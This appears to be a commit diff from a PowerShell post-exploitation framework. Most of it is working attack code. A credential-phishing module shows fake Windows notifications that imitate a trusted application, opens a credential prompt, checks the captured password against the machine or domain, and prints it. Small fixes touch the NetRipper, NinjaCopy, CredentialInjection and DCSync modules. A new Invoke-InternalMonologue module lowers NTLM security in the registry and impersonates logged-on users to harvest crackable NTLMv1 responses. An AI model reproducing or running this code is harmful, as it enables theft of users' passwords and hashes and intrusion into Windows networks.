QQGtAgY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233 [byte[]]$bContent = [System.Convert]::FromBase64String($libB64)
234
235 [void][system.reflection.assembly]::Load($bContent)
236
237 # cleanup
238 $libB64 = [string]::Empty
239 $bContent = $null
240 Remove-variable libB64, bContent -ErrorAction silentlycontinue
241 }
242
243 function WrapToastEvent {
244 param($target, $eventName);
245 $wrapper = new-object "Phishwin.EventWrapper[Windows.UI.Notifications.ToastNotification,System.Object]";
246 $wrapper.Register($target, $eventName);
247 }
248
249 function Get-AppUserModelId ([string]$appName){
250
251 $appID = 'Microsoft.Windows.ControlPanel'
252
253 $apps = Get-StartApps
254
255 # Do a full match
256 $r = $apps | Where-Object {$_.Name -eq $appName}
257
258 if ($r -ne $null){
259 return $r.AppID
260 }
261
262 # No result. Do a partial match
263 $r = $apps | Where-Object {$_.Name -like "*$appName*"}
264
265 if ($r -ne $null){
266 return $r.AppID
267 }
268
269 return $appID
270 }
271
272 function Get-UpdateToastTemplate ([string]$title, [string]$message) {
273
274 #$imgLocation = Export-Icon -file 'C:\Program Files\Windows Defender\EppManifest.dll' -index 7
275 $imgLocation = Export-Icon -file 'C:\Windows\system32\shell32.dll' -index 316
276 $t = "<image placement=`"appLogoOverride`" src=`"$imgLocation`"/>"
277
278 [xml]$ToastTemplate = @"
279 <toast duration="50">
280 <visual>
281 <binding template="ToastGeneric">
282 <text>$title</text>
283 <text />
284 <text>$message</text>
285 $t
286 </binding>
287 </visual>
288 <actions>
289 <input id="snoozeTime" type="selection" defaultInput="3">
290 <selection id="1" content="5 Minutes" />
291 <selection id="2" content="10 Minutes" />
292 <selection id="3" content="15 Minutes" />
293 <selection id="4" content="30 Minutes" />
294 <selection id="5" content="60 Minutes" />
295 </input>
296 <action content="Postpone" arguments="postpone"/>
297 <action content="Restart" arguments="restart"/>
298 </actions>
299 </toast>
300 "@
301
302 return $ToastTemplate
303
304 }
305
306 function Get-ApplicationToastTemplate ([string]$title, [string[]]$message, [string]$imgLocation) {
307
308 $t = [string]::Empty
309
310 # insert application icon. If no icon is found, use the information icon
311 if ([string]::IsNullOrEmpty($imgLocation)) {
312 $imgLocation = Export-Icon -file 'C:\Windows\system32\shell32.dll' -index 277
313 }
314
315 $t = "<image placement=`"appLogoOverride`" src=`"$imgLocation`"/>"
316
317 $sBuilder = New-Object system.Text.StringBuilder
318 foreach ($m in $message){
319 [void]$sBuilder.AppendLine("<text>$m</text>")
320 }
321
322 [xml]$ToastTemplate = @"
323 <toast launch="app-defined-string">
324 <visual>
325 <binding template="ToastGeneric">
326 <text>$title</text>
327 $($sBuilder.ToString())
328 $t
329 </binding>
330 </visual>
331 </toast>
332 "@
333
334 return $ToastTemplate
335
336 }
337
338 function Get-UserInfo ([string]$caption, $userPrincipal){
339
340 # this function dynamically retrieves userinfo based on a userprincipalobject
341 # The $caption variable may contain properties of the userprincipal object
342 # like {samaccountname|mail}.
343 #
344 # Everything between the accolades is evaluated, however, the first property to return a value is returned by the function
345 # This function is great for dynamically retrieving user information to use in this phiswin project.
346
347 $r = '.+\{(?<variable>.+)\}(.+)?'
348
349 # check if we need to evaluate the properties on the userprincipal object
350 if ($caption -match $r){
351
352 # Extract the supplied attributes with regex
353 $m = Select-string -InputObject $caption -Pattern $r
354 $attr = $m.Matches.Groups | Where-Object {$_.Name -eq 'Variable'} | ForEach-Object {$_.Value}
355
356 # A pipe means multiple attributes.
357 if ($attr.Contains('|')){
358 $attrs = $attr.Split('|')
359
360 foreach ($a in $attrs){
361 $tmp = $userPrincipal.$a
362 if (-not [string]::IsNullOrEmpty($tmp)){
363 $v = $tmp
364 break
365 }
366 }
367 } else {
368 # Only one attribute supplied.
369 $v = $userPrincipal.$attr
370 }
371
372 # Return value of the property if a value was found. Otherwise, return supplied data.
373 if ($v -ne $null){
374 return $caption.Replace("{$attr}", $v)
375 } else {
376 return $caption
377 }
378
379 }else {
380 # Caption is not a property. Return the value.
381 return $caption
382 }
383 }
384
385 function Invoke-Prompt ([string]$ToastTitle, [string]$ToastMessage, [string]$Application, [string]$CredBoxTitle, [string]$CredBoxMessage, [string]$ToastType, [bool]$VerifyCreds, [bool]$HideProcesses) {
386 $global:credential = $null
387 $global:VerifyCreds = $VerifyCreds
388
389 # Load Depedencies
390 Import-PhishWinLib
391 [void][Windows.UI.Notifications.ToastNotificationManager, Windows.UI.Notifications, ContentType = WindowsRuntime]
392 [void][Windows.Data.Xml.Dom.XmlDocument, Windows.Data.Xml.Dom, ContentType = WindowsRuntime]
393 Add-Type -AssemblyName System.Windows.Forms, PresentationFramework, System.Drawing, WindowsFormsIntegration, System.DirectoryServices.AccountManagement
394
395 # global variable to determine whether a user has clicked on the balloon or not
396 $global:clicked = $false
397
398 # Generate message and captions
399 $principal = [System.DirectoryServices.AccountManagement.UserPrincipal]::Current
400 $tTile = Get-UserInfo -userPrincipal $principal -caption $ToastTitle
401 $tMessage = (Get-UserInfo -userPrincipal $principal -caption $ToastMessage) -Split "`r`n"
402 $global:cTitle = Get-UserInfo -userPrincipal $principal -caption $CredBoxTitle
403 $global:cMessage = Get-UserInfo -userPrincipal $principal -caption $CredBoxMessage
404
405 # Get appID for control panel. If no default appID is available, the default of windows control panel will be used
406 $app = Get-AppUserModelId -appName $Application
407
408 # If we impersonate an application, check if the application is running
409 $processName = $Application.ToLower()
410
411 # Get info about Outlook process
412 $processHandles = @()
413 $processList = Get-Process | where-object {$_.Name.ToLower() -eq $processName}
414 foreach ($p in $processList)
415 {
416 $processHandles += $p.MainWindowHandle.ToInt32()
417 }
418
419 # Extract icon from process
420 $iconPath = [string]::Empty
421 if ($processList -ne $null) {
422
423 # sometimes the path property is not set. use WMI to query path
424 $path = $processList[0].Path
425 if ([string]::IsNullOrEmpty($path)){
426 $r = & wmic process get ExecutablePath | Where-Object {$_.ToLower().contains("$processName")}
427 if (-not [string]::IsNullOrEmpty($r)){
428 $path = $r
429 } else {
430 break
431 }
432 }
433 $iconPath = Get-Icon -processPath $path -returnAsPath:$true
434 } else {
435 # Check if application is set to a path. That way we can extract the icon as well
436 if (Test-Path $Application){
437 $iconPath = Get-Icon -processPath $Application -returnAsPath
438 }
439 }
440
441 # Build the toast
442 $xToast = $null
443 if ($ToastType -eq 'Application'){
444 $xToast = Get-ApplicationToastTemplate -title $tTitle -message $tMessage -imgLocation $iconPath
445 } else {
446 $xToast = Get-UpdateToastTemplate -title $tTile -message $tMessage
447 }
448
449 $ToastXml = New-Object -TypeName Windows.Data.Xml.Dom.XmlDocument
450 $ToastXml.LoadXml($xToast.OuterXml)
451
452
453 # Keep it on screen for ~25 seconds
454 $ToastXml.DocumentElement.SetAttribute("duration", "long")
455
456 $toast = New-Object Windows.UI.Notifications.ToastNotification -ArgumentList $ToastXml
457 $toast.ExpirationTime = [datetime]::Now.AddMinutes(1)
458 $notify = [Windows.UI.Notifications.ToastNotificationManager]::CreateToastNotifier($app)
459
460 # Handle all logic when user clicks on toast
461 [void](Register-ObjectEvent -InputObject (WrapToastEvent $toast "Activated") -EventName FireEvent -Action {
462
463 $global:clicked = $true
464 $validCreds = $false
465 $first = $true
466
467 $CredBoxTitle = $global:cTitle
468 $CredBoxMessage = $global:cMessage
469
470
471 [bool]$save = $false
472 [int]$errorCode = 0
473 [System.UInt32]$authPackage = 0
474 [System.UInt32]$dialogReturn = 0
475 [System.UInt32]$outCredSize = 0
476 [System.IntPtr]$outCredBuffer = 0
477
478 $credUi = New-Object Phishwin.CredentialDialog+CREDUI_INFO
479 $credUi.cbSize = [System.Runtime.InteropServices.Marshal]::SizeOf($credUi)
480 $maxBuffer = 300
481 $usernameBuffer = New-Object System.Text.StringBuilder($maxBuffer)
482 $passwordBuffer = New-Object System.Text.StringBuilder($maxBuffer)
483 $domainBuffer = New-Object System.Text.StringBuilder($maxBuffer)
484
485 $localAuth = New-Object System.DirectoryServices.AccountManagement.PrincipalContext('Machine', $env:computername)
486 $joinedToDomain = (Get-WmiObject -Class Win32_ComputerSystem).PartOfDomain
487
488 Do
489 {
490 if ($first -eq $false)
491 {
492 $credUi.pszCaptionText = "Invalid Credentials"
493 $credUi.pszMessageText = "The username and password combination entered was invalid, please try again."
494 }
495 else {
496 $credUi.pszCaptionText = $CredBoxTitle
497 $credUi.pszMessageText = $CredBoxMessage
498 }
499
500 $dialogReturn = [Phishwin.CredentialDialog]::CredUIPromptForWindowsCredentials([ref]$credUi,
501 $errorCode,
502 [ref]$authPackage,
503 0,0,
504 [ref]$outCredBuffer,
505 [ref]$outCredSize,
506 [ref]$save,
507 1)
508
509 if ($dialogReturn -eq 0) {
510 $first = $false
511 if ([Phishwin.CredentialDialog]::CredUnPackAuthenticationBuffer(0, $outCredBuffer, $outCredSize, $usernameBuffer, [ref]$maxBuffer, $domainBuffer, [ref]$maxBuffer, $passwordBuffer, [ref]$maxBuffer))
512 {
513 # clear the memory allocated by CredUIPromptForWindowsCredentials
514 [Phishwin.CredentialDialog]::CoTaskMemFree($outCredBuffer)
515 $global:credential = New-Object System.Net.NetworkCredential
516 $global:credential.UserName = $usernameBuffer.ToString()
517 $global:credential.Password = $passwordBuffer.ToString()
518 $global:credential.Domain = $domainBuffer.ToString()
519
520 # Check if the creds are bogus
521 if ($global:VerifyCreds -eq $true)
522 {
523 #try local auth first
524 if ($global:credential.Domain -eq '' -or $global:credential.Domain -eq $null)
525 {
526 $validCreds = $localAuth.ValidateCredentials($global:credential.UserName, $global:credential.Password)
527 if ($validCreds) { $global:credential.Domain = $env:computername }
528 }
529 # Local auth failed, try domain
530 if ($validCreds -eq $false -and $joinedToDomain -eq $true)
531 {
532 $domainObject = (New-Object System.DirectoryServices.DirectoryEntry "", $global:credential.UserName, $global:credential.Password).psbase.name
533 if ($domainObject -ne $null)
534 {
535 $validCreds = $true
536 $global:credential.Domain = $domainObject.split("=")[1].split(",")[0].toUpper() # Split the "DC=DomainName,DC=ParentDomain" into just DOMAINNAME
537 }
538 }
539 }
540
541 # We aren't checking for valid creds, and we don't already know the domain. Fill in the hostname.
542 if ($VerifyCreds -eq $false -and ($global:credential.Domain -eq '' -or $global:credential.Domain -eq $null))
543 {
544 $global:credential.Domain = $env:computername
545 }
546
547 }
548 }
549 # User clicked cancel, bail out
550 if ($dialogReturn -ne 0)
551 {
552 if ($validCreds -eq $false)
553 {
554 $global:credential.UserName = ''
555 $global:credential.Password = ''
556 $global:credential.Domain = ''
557 }
558 break;
559 }
560
561 } while ($validCreds -eq $false -and $global:VerifyCreds -eq $true)
562 })
563
564
565 # Do we need to hide the process?
566 if ($HideProcesses) {
567 Set-WindowVisibility -hWnds $processHandles -windowState SW_HIDE
568 }
569
570 # Display toast
571 $notify.Show($toast)
572
573 # Wait a few seconds until user clicks on the toast
574 $balloonTimer = 26
575 $timeElapsed = 0
576 while (-not $global:clicked) {
577 Start-Sleep (1)
578 $timeElapsed++
579
580 if ((-not $global:clicked) -and $timeElapsed -gt $balloonTimer){
581 #Write-Output "[-] User did not click on the balloon"
582 break
583 }
584 }
585
586 # Restore window visibility
587 if ($HideProcesses) {
588 Set-WindowVisibility -hWnds $processHandles -windowState SW_RESTORE
589 }
590
591 $outData = ''
592 if ($global:clicked -eq $false)
593 {
594 $outData = "[-] User did not click on notification"
595 }
596 if ($global:clicked -eq $true)
597 {
598 $outData = "[-] User clicked notification, but did not enter credentials"
599 }
600 if ($global:credential.UserName -and $global:credential.UserName -ne '')
601 {
602 if ($VerifyCreds)
603 {
604 $outData = "[+] Phished credentials: $($global:credential.Domain)/$($global:credential.UserName) $($global:credential.Password)"
605 }
606 else
607 {
608 $outData = "[+] Phished credentials [Not-verified]: $($global:credential.Domain)/$($global:credential.UserName) $($global:credential.Password)"
609 }
610
611 }
612
613 $outData | Out-String
614 }
615
616 Invoke-Prompt $ToastTitle $ToastMessage $Application $CredBoxTitle $CredBoxMessage $ToastType $VerifyCreds $HideProcesses
617 }⏎
+1
-1
data/module_source/collection/Invoke-NetRipper.ps1 less more
166166 $UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods')
167167 # Get a reference to the GetModuleHandle and GetProcAddress methods
168168 $GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle')
169 $GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress')
169 $GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress', [Type[]]@([System.Runtime.InteropServices.HandleRef], [String]))
170170 # Get a handle to the module specified
171171 $Kern32Handle = $GetModuleHandle.Invoke($null, @($Module))
172172 $tmpPtr = New-Object IntPtr
+1
-1
data/module_source/collection/Invoke-NinjaCopy.ps1 less more
910910 $UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods')
911911 # Get a reference to the GetModuleHandle and GetProcAddress methods
912912 $GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle')
913 $GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress')
913 $GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress', [Type[]]@([System.Runtime.InteropServices.HandleRef], [String]))
914914 # Get a handle to the module specified
915915 $Kern32Handle = $GetModuleHandle.Invoke($null, @($Module))
916916 $tmpPtr = New-Object IntPtr
+2
-2
data/module_source/credentials/Invoke-CredentialInjection.ps1 less more
11181118 $UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods')
11191119 # Get a reference to the GetModuleHandle and GetProcAddress methods
11201120 $GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle')
1121 $GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress')
1121 $GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress', [Type[]]@([System.Runtime.InteropServices.HandleRef], [String]))
11221122 # Get a handle to the module specified
11231123 $Kern32Handle = $GetModuleHandle.Invoke($null, @($Module))
11241124 $tmpPtr = New-Object IntPtr
30203020 $UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods')
30213021 # Get a reference to the GetModuleHandle and GetProcAddress methods
30223022 $GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle')
3023 $GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress')
3023 $GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress', [Type[]]@([System.Runtime.InteropServices.HandleRef], [String]))
30243024 # Get a handle to the module specified
30253025 $Kern32Handle = $GetModuleHandle.Invoke($null, @($Module))
30263026 $tmpPtr = New-Object IntPtr
+3
-3
data/module_source/credentials/Invoke-DCSync.ps1 less more
13061306 $UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods')
13071307 # Get a reference to the GetModuleHandle and GetProcAddress methods
13081308 $GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle')
1309 $GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress')
1309 $GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress', [Type[]]@([System.Runtime.InteropServices.HandleRef], [String]))
13101310 # Get a handle to the module specified
13111311 $Kern32Handle = $GetModuleHandle.Invoke($null, @($Module))
13121312 $tmpPtr = New-Object IntPtr
26042604 $PEInfo = Get-PEBasicInfo -PEBytes $PEBytes -Win32Types $Win32Types
26052605 $OriginalImageBase = $PEInfo.OriginalImageBase
26062606 $NXCompatible = $true
2607 if (($PEInfo.DllCharacteristics -band $Win32Constants.IMAGE_DLLCHARACTERISTICS_NX_COMPAT) -ne $Win32Constants.IMAGE_DLLCHARACTERISTICS_NX_COMPAT)
2607 if (([Int] $PEInfo.DllCharacteristics -band $Win32Constants.IMAGE_DLLCHARACTERISTICS_NX_COMPAT) -ne $Win32Constants.IMAGE_DLLCHARACTERISTICS_NX_COMPAT)
26082608 {
26092609 Write-Warning "PE is not compatible with DEP, might cause issues" -WarningAction Continue
26102610 $NXCompatible = $false
26622662 #Write-Verbose "Allocating memory for the PE and write its headers to memory"
26632663
26642664 [IntPtr]$LoadAddr = [IntPtr]::Zero
2665 if (($PEInfo.DllCharacteristics -band $Win32Constants.IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE) -ne $Win32Constants.IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE)
2665 if (([Int] $PEInfo.DllCharacteristics -band $Win32Constants.IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE) -ne $Win32Constants.IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE)
26662666 {
26672667 Write-Warning "PE file being reflectively loaded is not ASLR compatible. If the loading fails, try restarting PowerShell and trying again" -WarningAction Continue
26682668 [IntPtr]$LoadAddr = $OriginalImageBase
+891
-0
data/module_source/credentials/Invoke-InternalMonologue.ps1 less more
0 function Invoke-InternalMonologue
1 {
2 <#
3 .SYNOPSIS
4 Retrieves NTLMv1 challenge-response for all available users
5
6 .DESCRIPTION
7 Downgrades to NTLMv1, impersonates all available users and retrieves a challenge-response for each.
8
9 Author: Elad Shamir (https://linkedin.com/in/eladshamir)
10
11 .EXAMPLE
12 Invoke-InternalMonologue
13
14 .LINK
15 https://github.com/eladshamir/Internal-Monologue
16
17 .PARAMETER Challenge
18 Specifies the NTLM challenge to be used. An 8-byte long value in ascii-hex representation. Optional. Defult is 1122334455667788.
19
20 .PARAMETER Downgrade
21 Specifies whether to perform an NTLM downgrade or not [True/False]. Optional. Defult is true. Use switch to disable Downgrade
22
23 .PARAMETER Impersonate
24 Specifies whether to try to impersonate all other available users or not [True/False]. Optional. Defult is true. Use switch to disable Impersonate
25
26 .PARAMETER Restore
27 Specifies whether to restore the original values from before the NTLM downgrade or not [True/False]. Optional. Defult is true. Use switch to disable Restore
28
29 .PARAMETER Verbose
30 Specifies whether print verbose output or not [True/False]. Optional. Defult is false.
31
32 #>
33
34 [CmdletBinding()]
35 Param(
36 [Parameter(Position = 0)]
37 [String]
38 $Challenge,
39
40 [Switch]
41 $Downgrade,
42
43 [Switch]
44 $Impersonate,
45
46 [Switch]
47 $Restore
48 )
49
50 # Invert flags so that options run by default; Switches are used to disable a feature
51 if ($Downgrade){$Downgrade = $False} Else {$Downgrade = $True}
52 if ($Impersonate){$Impersonate = $False} Else {$Impersonate = $True}
53 if ($Restore){$Restore = $False} Else {$Restore = $True}
54 if ($PSBoundParameters['Verbose']){$v = $True} Else {$v = $False}
55 if ($Challenge -eq $null -or $Challenge -eq ""){$Challenge = "1122334455667788"}
56
57 $Source = @"
58 using System;
59 using System.Security.Principal;
60 using System.Runtime.InteropServices;
61 using System.Text;
62 using Microsoft.Win32;
63 using System.Collections.Generic;
64 using System.Diagnostics;
65 using System.Text.RegularExpressions;
66
67 namespace InternalMonologue
68 {
69 public class Program
70 {
71 const int MAX_TOKEN_SIZE = 12288;
72
73 struct TOKEN_USER
74 {
75 public SID_AND_ATTRIBUTES User;
76 }
77
78 [StructLayout(LayoutKind.Sequential)]
79 struct SID_AND_ATTRIBUTES
80 {
81 public IntPtr Sid;
82 public uint Attributes;
83 }
84
85 [StructLayout(LayoutKind.Sequential)]
86 struct TOKEN_GROUPS
87 {
88 public int GroupCount;
89 [MarshalAs(UnmanagedType.ByValArray, SizeConst = 1)]
90 public SID_AND_ATTRIBUTES[] Groups;
91 };
92
93 [DllImport("advapi32", CharSet = CharSet.Auto, SetLastError = true)]
94 static extern bool ConvertSidToStringSid(IntPtr pSID, out IntPtr ptrSid);
95
96 [DllImport("kernel32.dll")]
97 static extern IntPtr LocalFree(IntPtr hMem);
98
99 [DllImport("secur32.dll", CharSet = CharSet.Auto)]
100 static extern int AcquireCredentialsHandle(
101 string pszPrincipal,
102 string pszPackage,
103 int fCredentialUse,
104 IntPtr PAuthenticationID,
105 IntPtr pAuthData,
106 int pGetKeyFn,
107 IntPtr pvGetKeyArgument,
108 ref SECURITY_HANDLE phCredential,
109 ref SECURITY_INTEGER ptsExpiry);
110
111 [DllImport("secur32.dll", CharSet = CharSet.Auto, SetLastError = true)]
112 static extern int InitializeSecurityContext(
113 ref SECURITY_HANDLE phCredential,
114 IntPtr phContext,
115 string pszTargetName,
116 int fContextReq,
117 int Reserved1,
118 int TargetDataRep,
119 IntPtr pInput,
120 int Reserved2,
121 out SECURITY_HANDLE phNewContext,
122 out SecBufferDesc pOutput,
123 out uint pfContextAttr,
124 out SECURITY_INTEGER ptsExpiry);
125
126 [DllImport("secur32.dll", CharSet = CharSet.Auto, SetLastError = true)]
127 static extern int InitializeSecurityContext(
128 ref SECURITY_HANDLE phCredential,
129 ref SECURITY_HANDLE phContext,
130 string pszTargetName,
131 int fContextReq,
132 int Reserved1,
133 int TargetDataRep,
134 ref SecBufferDesc SecBufferDesc,
135 int Reserved2,
136 out SECURITY_HANDLE phNewContext,
137 out SecBufferDesc pOutput,
138 out uint pfContextAttr,
139 out SECURITY_INTEGER ptsExpiry);
140
141 [DllImport("advapi32.dll", SetLastError = true)]
142 private static extern bool OpenProcessToken(
143 IntPtr ProcessHandle,
144 int DesiredAccess,
145 ref IntPtr TokenHandle);
146
147 [DllImport("advapi32.dll", SetLastError = true)]
148 private static extern bool OpenThreadToken(
149 IntPtr ThreadHandle,
150 int DesiredAccess,
151 bool OpenAsSelf,
152 ref IntPtr TokenHandle);
153
154 [DllImport("advapi32.dll", SetLastError = true)]
155 static extern bool GetTokenInformation(
156 IntPtr TokenHandle,
157 int TokenInformationClass,
158 IntPtr TokenInformation,
159 int TokenInformationLength,
160 out int ReturnLength);
161
162 [DllImport("advapi32.dll", SetLastError = true)]
163 private static extern bool DuplicateTokenEx(
164 IntPtr hExistingToken,
165 int dwDesiredAccess,
166 ref SECURITY_ATTRIBUTES lpThreadAttributes,
167 int ImpersonationLevel,
168 int dwTokenType,
169 ref IntPtr phNewToken);
170
171 [DllImport("kernel32.dll", SetLastError = true)]
172 private static extern bool CloseHandle(
173 IntPtr hObject);
174
175 [DllImport("kernel32.dll", SetLastError = true)]
176 static extern IntPtr OpenThread(int dwDesiredAccess, bool bInheritHandle,
177 IntPtr dwThreadId);
178
179 private static void GetRegKey(string key, string name, out object result)
180 {
181 RegistryKey Lsa = Registry.LocalMachine.OpenSubKey(key);
182 if (Lsa != null)
183 {
184 object value = Lsa.GetValue(name);
185 if (value != null)
186 {
187 result = value;
188 return;
189 }
190 }
191 result = null;
192 }
193
194 private static void SetRegKey(string key, string name, object value)
195 {
196 RegistryKey Lsa = Registry.LocalMachine.OpenSubKey(key, true);
197 if (Lsa != null)
198 {
199 if (value == null)
200 {
201 Lsa.DeleteValue(name);
202 }
203 else
204 {
205 Lsa.SetValue(name, value);
206 }
207 }
208 }
209
210 private static void ExtendedNTLMDowngrade(out object oldValue_LMCompatibilityLevel, out object oldValue_NtlmMinClientSec, out object oldValue_RestrictSendingNTLMTraffic)
211 {
212 GetRegKey("SYSTEM\\CurrentControlSet\\Control\\Lsa", "LMCompatibilityLevel", out oldValue_LMCompatibilityLevel);
213 SetRegKey("SYSTEM\\CurrentControlSet\\Control\\Lsa", "LMCompatibilityLevel", 2);
214
215 GetRegKey("SYSTEM\\CurrentControlSet\\Control\\Lsa\\MSV1_0", "NtlmMinClientSec", out oldValue_NtlmMinClientSec);
216 SetRegKey("SYSTEM\\CurrentControlSet\\Control\\Lsa\\MSV1_0", "NtlmMinClientSec", 536870912);
217
218 GetRegKey("SYSTEM\\CurrentControlSet\\Control\\Lsa\\MSV1_0", "RestrictSendingNTLMTraffic", out oldValue_RestrictSendingNTLMTraffic);
219 SetRegKey("SYSTEM\\CurrentControlSet\\Control\\Lsa\\MSV1_0", "RestrictSendingNTLMTraffic", 0);
220 }
221
222 private static void NTLMRestore(object oldValue_LMCompatibilityLevel, object oldValue_NtlmMinClientSec, object oldValue_RestrictSendingNTLMTraffic)
223 {
224 SetRegKey("SYSTEM\\CurrentControlSet\\Control\\Lsa", "LMCompatibilityLevel", oldValue_LMCompatibilityLevel);
225 SetRegKey("SYSTEM\\CurrentControlSet\\Control\\Lsa\\MSV1_0", "NtlmMinClientSec", oldValue_NtlmMinClientSec);
226 SetRegKey("SYSTEM\\CurrentControlSet\\Control\\Lsa\\MSV1_0", "RestrictSendingNTLMTraffic", oldValue_RestrictSendingNTLMTraffic);
227 }
228
229 //Retrieves the SID of a given token
230 public static string GetLogonId(IntPtr token)
231 {
232 string SID = null;
233 try
234 {
235 StringBuilder sb = new StringBuilder();
236 int TokenInfLength = 1024;
237 IntPtr TokenInformation = Marshal.AllocHGlobal(TokenInfLength);
238 Boolean Result = GetTokenInformation(token, 1, TokenInformation, TokenInfLength, out TokenInfLength);
239 if (Result)
240 {
241 TOKEN_USER TokenUser = (TOKEN_USER)Marshal.PtrToStructure(TokenInformation, typeof(TOKEN_USER));
242
243 IntPtr pstr = IntPtr.Zero;
244 Boolean ok = ConvertSidToStringSid(TokenUser.User.Sid, out pstr);
245 SID = Marshal.PtrToStringAuto(pstr);
246 LocalFree(pstr);
247 }
248
249 Marshal.FreeHGlobal(TokenInformation);
250
251 return SID;
252 }
253 catch
254 {
255 CloseHandle(token);
256 return null;
257 }
258 }
259
260 public static void HandleProcess(Process process, string challenge, bool verbose)
261 {
262 try
263 {
264 var token = IntPtr.Zero;
265 var dupToken = IntPtr.Zero;
266 string SID = null;
267
268 if (OpenProcessToken(process.Handle, 0x0008, ref token))
269 {
270 //Get the SID of the token
271 SID = GetLogonId(token);
272 CloseHandle(token);
273
274 //Check if this user hasn't been handled yet
275 if (SID != null && authenticatedUsers.Contains(SID) == false)
276 {
277 if (OpenProcessToken(process.Handle, 0x0002, ref token))
278 {
279 var sa = new SECURITY_ATTRIBUTES();
280 sa.nLength = Marshal.SizeOf(sa);
281
282 DuplicateTokenEx(
283 token,
284 0x0002 | 0x0008,
285 ref sa,
286 (int)SECURITY_IMPERSONATION_LEVEL.SecurityImpersonation,
287 (int)1,
288 ref dupToken);
289
290 CloseHandle(token);
291
292 try
293 {
294 using (WindowsImpersonationContext impersonatedUser = WindowsIdentity.Impersonate(dupToken))
295 {
296 if (verbose == true) Console.WriteLine("Impersonated user " + WindowsIdentity.GetCurrent().Name);
297 string result = InternalMonologueForCurrentUser(challenge);
298 //Ensure it is a valid response and not blank
299 if (result != null && result.Length > 0)
300 {
301 Console.WriteLine(result);
302 authenticatedUsers.Add(SID);
303 }
304 else if (verbose == true) { Console.WriteLine("Got blank response for user " + WindowsIdentity.GetCurrent().Name); }
305 }
306 }
307 catch
308 { /*Does not need to do anything if it fails*/ }
309 finally
310 {
311 CloseHandle(dupToken);
312 }
313 }
314 }
315 }
316 }
317 catch (Exception)
318 { /*Does not need to do anything if it fails*/ }
319 }
320
321 public static void HandleThread(ProcessThread thread, string challenge, bool verbose)
322 {
323 try
324 {
325 var token = IntPtr.Zero;
326 var dupToken = IntPtr.Zero;
327 string SID = null;
328
329 //Try to get thread handle
330 var handle = OpenThread(0x0040, true, new IntPtr(thread.Id));
331
332 //If failed, return
333 if (handle == IntPtr.Zero)
334 {
335 return;
336 }
337
338 if (OpenThreadToken(handle, 0x0008, true, ref token))
339 {
340 //Get the SID of the token
341 SID = GetLogonId(token);
342 CloseHandle(token);
343
344 //Check if this user hasn't been handled yet
345 if (SID != null && authenticatedUsers.Contains(SID) == false)
346 {
347 if (OpenThreadToken(handle, 0x0002, true, ref token))
348 {
349 var sa = new SECURITY_ATTRIBUTES();
350 sa.nLength = Marshal.SizeOf(sa);
351
352 DuplicateTokenEx(
353 token,
354 0x0002 | 0x0008,
355 ref sa,
356 (int)SECURITY_IMPERSONATION_LEVEL.SecurityImpersonation,
357 (int)1,
358 ref dupToken);
359
360 CloseHandle(token);
361
362 try
363 {
364 using (WindowsImpersonationContext impersonatedUser = WindowsIdentity.Impersonate(dupToken))
365 {
366 if (verbose == true) Console.WriteLine("Impersonated user " + WindowsIdentity.GetCurrent().Name);
367 string result = InternalMonologueForCurrentUser(challenge);
368 //Ensure it is a valid response and not blank
369 if (result != null && result.Length > 0)
370 {
371 Console.WriteLine(result);
372 authenticatedUsers.Add(SID);
373 }
374 else if (verbose == true) { Console.WriteLine("Got blank response for user " + WindowsIdentity.GetCurrent().Name); }
375 }
376 }
377 catch
378 { /*Does not need to do anything if it fails*/ }
379 finally
380 {
381 CloseHandle(dupToken);
382 }
383 }
384 }
385 }
386 }
387 catch (Exception)
388 { /*Does not need to do anything if it fails*/ }
389 }
390
391 //Maintains a list of handled users
392 static List<string> authenticatedUsers = new List<string>();
393
394 //Parse command line arguments
395 static Dictionary<string, string> ParseArgs(string[] args)
396 {
397 Dictionary<string, string> ret = new Dictionary<string, string>();
398 if (args.Length % 2 == 0 && args.Length > 0)
399 {
400 for (int i = 0; i < args.Length; i = i + 2)
401 {
402 ret.Add(args[i].Substring(1).ToLower(), args[i + 1].ToLower());
403 }
404 }
405 return ret;
406 }
407
408 private static void PrintError(string message)
409 {
410 Console.WriteLine();
411 Console.WriteLine("Error: " + message);
412 PrintHelp();
413 }
414
415 private static void PrintHelp()
416 {
417 Console.WriteLine();
418 Console.WriteLine("Usage:");
419 Console.WriteLine("InternalMonologue -Downgrade True/False -Restore True/False - Impersonate True/False -Verbose True/False -Challenge ascii-hex");
420 Console.WriteLine("Example:");
421 Console.WriteLine("InternalMonologue -Downgrade False -Restore False -Impersonate True -Verbose False -Challenge 1122334455667788");
422 Console.WriteLine();
423 Console.WriteLine("Downgrade - Specifies whether to perform an NTLM downgrade or not [True/False]. Optional. Defult is true.");
424 Console.WriteLine("Restore - Specifies whether to restore the original values from before the NTLM downgrade or not [True/False]. Optional. Defult is true.");
425 Console.WriteLine("Impersonate - Specifies whether to try to impersonate all other available users or not [True/False]. Optional. Defult is true.");
426 Console.WriteLine("Verbose - Specifies whether print verbose output or not [True/False]. Optional. Defult is false.");
